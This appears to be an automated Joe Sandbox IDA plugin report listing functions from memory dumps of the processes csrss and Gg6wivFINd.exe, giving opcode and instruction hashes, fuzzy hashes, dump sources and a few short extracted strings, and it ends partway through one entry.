Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86516cfc4d8a0d480af8f07283063ca962ff981a2c8af2a83e93b7d611e3f089
Instruction ID: 3b92578e4f7772e49ffbfe9f1dff6bdc011e0549b8a98965e61b2550fcb9a3e4
Opcode Fuzzy Hash: 86516cfc4d8a0d480af8f07283063ca962ff981a2c8af2a83e93b7d611e3f089
Instruction Fuzzy Hash: 41D0A930B10E0C4B8B0CB63D885C430B3D2E7B9202384536E940AC32A1ED26ECC9CB80

Function 00007FFD9B8AAAF0 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86516cfc4d8a0d480af8f07283063ca962ff981a2c8af2a83e93b7d611e3f089
Instruction ID: 3b92578e4f7772e49ffbfe9f1dff6bdc011e0549b8a98965e61b2550fcb9a3e4
Opcode Fuzzy Hash: 86516cfc4d8a0d480af8f07283063ca962ff981a2c8af2a83e93b7d611e3f089
Instruction Fuzzy Hash: 41D0A930B10E0C4B8B0CB63D885C430B3D2E7B9202384536E940AC32A1ED26ECC9CB80

Function 00007FFD9B8A1DA0 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86516cfc4d8a0d480af8f07283063ca962ff981a2c8af2a83e93b7d611e3f089
Instruction ID: 3b92578e4f7772e49ffbfe9f1dff6bdc011e0549b8a98965e61b2550fcb9a3e4
Opcode Fuzzy Hash: 86516cfc4d8a0d480af8f07283063ca962ff981a2c8af2a83e93b7d611e3f089
Instruction Fuzzy Hash: 41D0A930B10E0C4B8B0CB63D885C430B3D2E7B9202384536E940AC32A1ED26ECC9CB80

Function 00007FFD9B8AEDC0 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86516cfc4d8a0d480af8f07283063ca962ff981a2c8af2a83e93b7d611e3f089
Instruction ID: 3b92578e4f7772e49ffbfe9f1dff6bdc011e0549b8a98965e61b2550fcb9a3e4
Opcode Fuzzy Hash: 86516cfc4d8a0d480af8f07283063ca962ff981a2c8af2a83e93b7d611e3f089
Instruction Fuzzy Hash: 41D0A930B10E0C4B8B0CB63D885C430B3D2E7B9202384536E940AC32A1ED26ECC9CB80

Function 00007FFD9B8A7F49 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb916f3b2a8dcfe23a61e70ab43a5ff4fc0e6aa745db85998ec72f4c581839ca
Instruction ID: bd33f7a2256f53da8a549450e91d38896f6aba4d663a2368cf91dbfe48aa7e91
Opcode Fuzzy Hash: eb916f3b2a8dcfe23a61e70ab43a5ff4fc0e6aa745db85998ec72f4c581839ca
Instruction Fuzzy Hash: CEE01A2594F7C04FC70B9B3488688507FA49E5B21074A40EBC085CF1B3D5198949C712

Function 00007FFD9BC7CB20 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2981795891.00007FFD9BC70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9bc70000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ddab8638627f21619304cc9816b56376b9dc180f49ba82afd00cf66e59e8a991
Instruction ID: 1ec787690923653ae54713a6c8c0ebe1768f924e6132ab7a8c1bf442d232889b
Opcode Fuzzy Hash: ddab8638627f21619304cc9816b56376b9dc180f49ba82afd00cf66e59e8a991
Instruction Fuzzy Hash: B3D02230B20D084FCF4CFB3C8848C3033D0EB6830278400A9E40AC72F2E829EA88C740

Function 00007FFD9BC76288 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2981795891.00007FFD9BC70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9bc70000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08db48c7dbe74396d6d05de73c434c3e95da9c87d662dec9af5cd5b2168348c5
Instruction ID: fbe4a68413c452bd1324f5cbfddce78301acda8200d057e18158faa1c2e37b8d
Opcode Fuzzy Hash: 08db48c7dbe74396d6d05de73c434c3e95da9c87d662dec9af5cd5b2168348c5
Instruction Fuzzy Hash: 35D0A930B20C084F8B1CA63C88A887072D0EB6920278540A8D00AC32B1E92AD888C740

Function 00007FFD9BC7AEA8 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2981795891.00007FFD9BC70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9bc70000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1dac02296890e53ca2eb70fa12cede736a4319d7c4cbd8f1bf01e320ee309e7
Instruction ID: b8bb7da3b73afcebe0246b7803189b326c6294a0af7ece9c3583af32968b5559
Opcode Fuzzy Hash: b1dac02296890e53ca2eb70fa12cede736a4319d7c4cbd8f1bf01e320ee309e7
Instruction Fuzzy Hash: 93D0C930B61D084F8B6CA63C886997472D1EB6D216B9540A9D00AC72B5E96AD989C741

Function 00007FFD9BC71E70 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2981795891.00007FFD9BC70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9bc70000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64e6769e0916a19856b42bbed3005a1f601480e70363777be6a0d159be88f0ab
Instruction ID: 582bd98ffea655f2a5958b1b5fc12408c931452aaa3fdedb794302b714a727ca
Opcode Fuzzy Hash: 64e6769e0916a19856b42bbed3005a1f601480e70363777be6a0d159be88f0ab
Instruction Fuzzy Hash: 88D02230B20C088FCB8CF73C889883433D0EBAD202B8500ACD00EC32B1E92ADC88C740

Function 00007FFD9BC7AD00 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2981795891.00007FFD9BC70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9bc70000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc59532565254a29135d39218fcc5ba3d45f3e999423d994ffef2175ddf301a9
Instruction ID: e4e419b1b202bda73f50c27e863b109902ce1c7445e1d9e551724fab88a23fa6
Opcode Fuzzy Hash: cc59532565254a29135d39218fcc5ba3d45f3e999423d994ffef2175ddf301a9
Instruction Fuzzy Hash: A3D02230B20C084FCB0CF73C889C93033D0EB6D2067A500A8D00EC72B1E92ADD88C741

Function 00007FFD9B8B7C08 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 36c2f0c12867e5700e3cc8e3e2c6ff04c6141edcabdbe59cf81d240e26a4a3cf
Instruction ID: 89330e334ca81fb686337b9b3a7c47d53634a4de3ea2093d4d72328aa1ae1c55
Opcode Fuzzy Hash: 36c2f0c12867e5700e3cc8e3e2c6ff04c6141edcabdbe59cf81d240e26a4a3cf
Instruction Fuzzy Hash: 90D0C930B659084F8B5CA77C886996072D1EB6D21679540A9D00AC72B2E96AD98ACB81

Function 00007FFD9BC77D40 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2981795891.00007FFD9BC70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9bc70000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30b88120e300ce741a67909c90f8bad83c6bf9a8a2db7280cd1828b58fc114cc
Instruction ID: 8f180aab2aa75e9180ee0f7869d42a8d0eff98467748f81fc95ef1229aac25a4
Opcode Fuzzy Hash: 30b88120e300ce741a67909c90f8bad83c6bf9a8a2db7280cd1828b58fc114cc
Instruction Fuzzy Hash: D2D01230750D084F8B4CF63C885996033D1E76D2167854059D00AC72B1E966DC89C741

Function 00007FFD9B8A83F0 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30b88120e300ce741a67909c90f8bad83c6bf9a8a2db7280cd1828b58fc114cc
Instruction ID: 8f180aab2aa75e9180ee0f7869d42a8d0eff98467748f81fc95ef1229aac25a4
Opcode Fuzzy Hash: 30b88120e300ce741a67909c90f8bad83c6bf9a8a2db7280cd1828b58fc114cc
Instruction Fuzzy Hash: D2D01230750D084F8B4CF63C885996033D1E76D2167854059D00AC72B1E966DC89C741

Function 00007FFD9B8A2290 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30b88120e300ce741a67909c90f8bad83c6bf9a8a2db7280cd1828b58fc114cc
Instruction ID: 8f180aab2aa75e9180ee0f7869d42a8d0eff98467748f81fc95ef1229aac25a4
Opcode Fuzzy Hash: 30b88120e300ce741a67909c90f8bad83c6bf9a8a2db7280cd1828b58fc114cc
Instruction Fuzzy Hash: D2D01230750D084F8B4CF63C885996033D1E76D2167854059D00AC72B1E966DC89C741

Function 00007FFD9B8A2890 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30b88120e300ce741a67909c90f8bad83c6bf9a8a2db7280cd1828b58fc114cc
Instruction ID: 8f180aab2aa75e9180ee0f7869d42a8d0eff98467748f81fc95ef1229aac25a4
Opcode Fuzzy Hash: 30b88120e300ce741a67909c90f8bad83c6bf9a8a2db7280cd1828b58fc114cc
Instruction Fuzzy Hash: D2D01230750D084F8B4CF63C885996033D1E76D2167854059D00AC72B1E966DC89C741

Function 00007FFD9BC79215 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2981795891.00007FFD9BC70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9bc70000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 451d20450f7c14cc7bbc65c34617ee73c63e44db61dd071d77c0555764e0d15e
Instruction ID: 15284c56d98ecf3cfeed5b61d9adb12ca83300445042027d7c7d8f3ea8c158f2
Opcode Fuzzy Hash: 451d20450f7c14cc7bbc65c34617ee73c63e44db61dd071d77c0555764e0d15e
Instruction Fuzzy Hash: A0D02200F4792742E2203A7C4D450DCF360AF95224BC52831CDC4C4185FA0D61CF0313

Function 00007FFD9B8A7458 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5dd4c4600d886fd2be2929cea8368fbb8b67460c380ab92943508a2a7f11b997
Instruction ID: 2f3e1e7f33ebcf14b44156e098e269aaaa16969c85814a3ea6487a6c3eb2089c
Opcode Fuzzy Hash: 5dd4c4600d886fd2be2929cea8368fbb8b67460c380ab92943508a2a7f11b997
Instruction Fuzzy Hash: 24D01234B919084FC71CA7388859C747391EB6E216B9550A9D00AC73B5D96ADD89C741

Function 00007FFD9B8A7733 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd9ccf587e94c47c1e475cf758321aa6370dded553d7b06ffd02c35a991c72dd
Instruction ID: ecbb67a393c5ebea724e1e0c09bcc4ad17227e83acc28de38f2aa5298e7bc2a8
Opcode Fuzzy Hash: dd9ccf587e94c47c1e475cf758321aa6370dded553d7b06ffd02c35a991c72dd
Instruction Fuzzy Hash: BCC01216F1E94B06F5B862D8546227803C2C7593A1F150135E01EC31D2EC0E69012091

Function 00007FFD9BC70A18 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2981795891.00007FFD9BC70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9bc70000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14ed2482067eeac441e61a08570ea704b8e00ac4ce8fce0b36f8d835a4d0b39d
Instruction ID: 31526058e27883e0f3cc26d2facf9b8af1a053d34dd0886202b2663ce2fe3339
Opcode Fuzzy Hash: 14ed2482067eeac441e61a08570ea704b8e00ac4ce8fce0b36f8d835a4d0b39d
Instruction Fuzzy Hash: 1BC0803061180C4FC70CFB35C498C6473D0FB192017C50094D40EC7170D9559D84C741

Function 00007FFD9BC7AC60 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2981795891.00007FFD9BC70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9bc70000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c96fc66bab8453dbca7aa9a36dcf35da84012c7f66bdbd215162bce79e4582d
Instruction ID: a7b577ad1dcce00ebb516a8bca51a9e82addb6ff4820346b4153f9d1c4ba54aa
Opcode Fuzzy Hash: 5c96fc66bab8453dbca7aa9a36dcf35da84012c7f66bdbd215162bce79e4582d
Instruction Fuzzy Hash: AFC0123061180D4F8A08AB28C8A886573A0EB29202B8200A8900AC71B0EA5A9988CB81

Function 00007FFD9B8A8808 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 475b730dd1053a7c01b95d4681299a8929e8dd4f567767fe40fb86e8d7148227
Instruction ID: 81bb7791cfadcdf1bda2e0af278618ca42a57aee475e8131c2efce76e9c020a5
Opcode Fuzzy Hash: 475b730dd1053a7c01b95d4681299a8929e8dd4f567767fe40fb86e8d7148227
Instruction Fuzzy Hash: 54C0123061580C4F8A08EB29C8AD86072E0FB29211B8600A8900AC61B0EA5A9988CB81

Function 00007FFD9B8ABD88 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af06ff282c7c5675016694ad2b6e6a48665fe730b1088908a5feb5d609e1e337
Instruction ID: b483e0fb04e329f3d23d885fa1b3eb9e0da6a35401a38e077a62fd74d174f99b
Opcode Fuzzy Hash: af06ff282c7c5675016694ad2b6e6a48665fe730b1088908a5feb5d609e1e337
Instruction Fuzzy Hash: 78C08C30611C0D4FCB4CEB68C8A8CA073E0FB2D301BC200A8D00EC71B0EA5AED88CB81

Function 00007FFD9B8B7890 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2851e40f78f387c7ef08207cf37c2335d59e9da679073d3ea024679706b6d310
Instruction ID: 53ef47de745dc5931ecf9a9da8ba107c10554c6f4cd80483a815a86569387e8d
Opcode Fuzzy Hash: 2851e40f78f387c7ef08207cf37c2335d59e9da679073d3ea024679706b6d310
Instruction Fuzzy Hash: 48B09234D5761E51DA3833B508524647090BB09214FD202B4D408602A1A86E93958A82

Function 00007FFD9B8B3098 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B8A1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b8a1000_csrss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d4b1c678d2c2d77498929f3caa400db276720917380eccf04e5e2604c39efeb
Instruction ID: 8124fc2c8085b3047bfb20675de5d0618fcb0cb2beaad1f245a94a715dceb9ae
Opcode Fuzzy Hash: 0d4b1c678d2c2d77498929f3caa400db276720917380eccf04e5e2604c39efeb
Instruction Fuzzy Hash: 3FB01204DAB40B00E41836BA0D92068B4506B49108FC20070DC08800DEA84D12A50183

Non-executed Functions

Function 00007FFD9B8805A5 Relevance: 11.6, Strings: 9, Instructions: 370COMMON

Download Yara Rule

Strings

O_^1, xrefs: 00007FFD9B88072A
]+=, xrefs: 00007FFD9B88078E
O_^8, xrefs: 00007FFD9B880762
O_^9, xrefs: 00007FFD9B88076A
O_^%, xrefs: 00007FFD9B8806C9
O_^0, xrefs: 00007FFD9B880722
+<O, xrefs: 00007FFD9B88088F
O_^$, xrefs: 00007FFD9B8806C2
O_^;, xrefs: 00007FFD9B88077A

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b880000_csrss.jbxd

Similarity

API ID:
String ID: O_^$$O_^%$O_^0$O_^1$O_^8$O_^9$O_^;$]+=$+<O
API String ID: 0-1757541962
Opcode ID: cfff3ce53388cbe1657e8f11940b8f7dfd482fb12a9397b8f4e53f6ed9b19297
Instruction ID: 2731bd2fc8ebeb07b961d1728c4a76c0ae817e6282c2f10c5892dc64f5d02da6
Opcode Fuzzy Hash: cfff3ce53388cbe1657e8f11940b8f7dfd482fb12a9397b8f4e53f6ed9b19297
Instruction Fuzzy Hash: 74A1435BB0C53289D31E76AE7D655ED3B00DFC033A70846B7D2AECB0C7A858648B91E5

Function 00007FFD9B8806D3 Relevance: 11.5, Strings: 9, Instructions: 235COMMON

Download Yara Rule

Strings

O_^1, xrefs: 00007FFD9B88072A
]+=, xrefs: 00007FFD9B88078E
O_^8, xrefs: 00007FFD9B880762
O_^9, xrefs: 00007FFD9B88076A
O_^%, xrefs: 00007FFD9B8806C9
O_^0, xrefs: 00007FFD9B880722
+<O, xrefs: 00007FFD9B88088F
O_^$, xrefs: 00007FFD9B8806C2
O_^;, xrefs: 00007FFD9B88077A

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b880000_csrss.jbxd

Similarity

API ID:
String ID: O_^$$O_^%$O_^0$O_^1$O_^8$O_^9$O_^;$]+=$+<O
API String ID: 0-1757541962
Opcode ID: 5f8a5927bd09deadf5fad09f2ca7b68048b134880371283688956fdc9a01e127
Instruction ID: 2229b6246b87d0478683fd85e5d24411f9885caa890405d349862a39f50ad3d9
Opcode Fuzzy Hash: 5f8a5927bd09deadf5fad09f2ca7b68048b134880371283688956fdc9a01e127
Instruction Fuzzy Hash: 46518197B0C53685E31E36A83E6A9FD2704DF8133DB0446B7E12F8A0DB6D9C648361D9

Function 00007FFD9B8806FA Relevance: 10.2, Strings: 8, Instructions: 223COMMON

Download Yara Rule

Strings

O_^1, xrefs: 00007FFD9B88072A
]+=, xrefs: 00007FFD9B88078E
O_^8, xrefs: 00007FFD9B880762
O_^9, xrefs: 00007FFD9B88076A
O_^0, xrefs: 00007FFD9B880722
+<O, xrefs: 00007FFD9B88088F
O_^+, xrefs: 00007FFD9B8806FA
O_^;, xrefs: 00007FFD9B88077A

Memory Dump Source

Source File: 0000001A.00000002.2974074933.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b880000_csrss.jbxd

Similarity

API ID:
String ID: O_^+$O_^0$O_^1$O_^8$O_^9$O_^;$]+=$+<O
API String ID: 0-1834234138
Opcode ID: 02d7f3476a0726f61a83842147363d8f6269516d3dd8f5b95084d027f1ab3172
Instruction ID: 5816c3b4f5a01389a89f44f157f73a5d4ee7fde98f93af53b553e141fe108fc8
Opcode Fuzzy Hash: 02d7f3476a0726f61a83842147363d8f6269516d3dd8f5b95084d027f1ab3172
Instruction Fuzzy Hash: 3D513697A0C53694D30E36BD3E6A9FD2704CF8137D70486B7E16E8A0CB6D98648361D9

Analysis Process: Gg6wivFINd.exePID: 7980, Parent PID: 1044COMMON

Executed Functions

Function 00007FFD9B870D4C Relevance: 1.5, Strings: 1, Instructions: 254COMMON

Download Yara Rule

Strings

5\_H, xrefs: 00007FFD9B870DF3

Memory Dump Source

Source File: 0000001B.00000002.1933016397.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ffd9b870000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID: 5\_H
API String ID: 0-3325266018
Opcode ID: 9f09204bd97747f3efc64c7be25b09a874d1b18946ce06ac0d3b2935f58b4d8b
Instruction ID: c1fb39abb82addc8fcbed440583c4c16086c7946472df4eb4caa4b03f27b4b94
Opcode Fuzzy Hash: 9f09204bd97747f3efc64c7be25b09a874d1b18946ce06ac0d3b2935f58b4d8b
Instruction Fuzzy Hash: 6691E271A1DA8D8FEB59EB6C887A7A97FE1EF59314F4000BED049D72E6DB7824018701

Function 00007FFD9B870E43 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.1933016397.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ffd9b870000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 291a04e10bccb3d4172ce1c5e6ac2befde747dad1ef5262b708da788fae945ea
Instruction ID: 75d43e79e4a04d3bd8844415b1ad89b8819c95211cbc597dcd48c62cfd52110c
Opcode Fuzzy Hash: 291a04e10bccb3d4172ce1c5e6ac2befde747dad1ef5262b708da788fae945ea
Instruction Fuzzy Hash: DB51D471A1994D8EE758EB5C98AABB9BBE1EB99318F80017ED01DD37D5CBB82411C700

Function 00007FFD9B8708D0 Relevance: .2, Instructions: 156COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.1933016397.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ffd9b870000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 514c1bdd9a252cf7f624148b1d83e5a39e22bc887f07f50d07e58cda4851df99
Instruction ID: a0c79e8268f9678737e3dc510f1880a0a678d0901b8e6c55a67c2cec37c0c2b5
Opcode Fuzzy Hash: 514c1bdd9a252cf7f624148b1d83e5a39e22bc887f07f50d07e58cda4851df99
Instruction Fuzzy Hash: F5416A22B1D5694EE708F7BC74AAAF97781EF4932CB0541FBD04DC71E7DD1868428284

Function 00007FFD9B870998 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.1933016397.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ffd9b870000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30a59d36d7db444faadf79d1e1293c231170b39d8e1d8e99d86ed95db2fec47c
Instruction ID: 9246b6183d3860f3b9cf444818658de8bbe36b435a2272e22f5b4c9ea61b6097
Opcode Fuzzy Hash: 30a59d36d7db444faadf79d1e1293c231170b39d8e1d8e99d86ed95db2fec47c
Instruction Fuzzy Hash: AE21F910B1991E0FE798F76C54AE67572C6EF9D319B4100B9E41DC32E7DD24AC418241

Function 00007FFD9B870C25 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.1933016397.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ffd9b870000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db6e78e1bc8e3a8cb79ff3c2c20e4534e98012c6363d2af2168c2f7306b17f64
Instruction ID: fc6aaf7c21bf12cf939ea2476abe7b846555d459f025041008501fc47640ce74
Opcode Fuzzy Hash: db6e78e1bc8e3a8cb79ff3c2c20e4534e98012c6363d2af2168c2f7306b17f64
Instruction Fuzzy Hash: 15214B35F1D24D8EFB26E7E898A90EC3B60DF86328F0541B3D048C70D3D9282646A351

Function 00007FFD9B87108D Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.1933016397.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ffd9b870000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46ec637d86788e7aa48f0e424c336e2ec6d85cbea129c1e3ea1e31a0c5a30ae7
Instruction ID: daaf6d855c77903e0bdf29bd2a4d7dfd5a26a9acd1757bbb94be0c7e644c02af
Opcode Fuzzy Hash: 46ec637d86788e7aa48f0e424c336e2ec6d85cbea129c1e3ea1e31a0c5a30ae7
Instruction Fuzzy Hash: 75012B21A8F6D50FE32957B44CB29B13FA0DF8721470A02FBD089CB5E3C84D59868351

Function 00007FFD9B874254 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.1933016397.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ffd9b870000_Gg6wivFINd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 485dcf21dd46a7438e61f07892d2c6b47e7ac81ce681c5e218ed652dfd2135cb
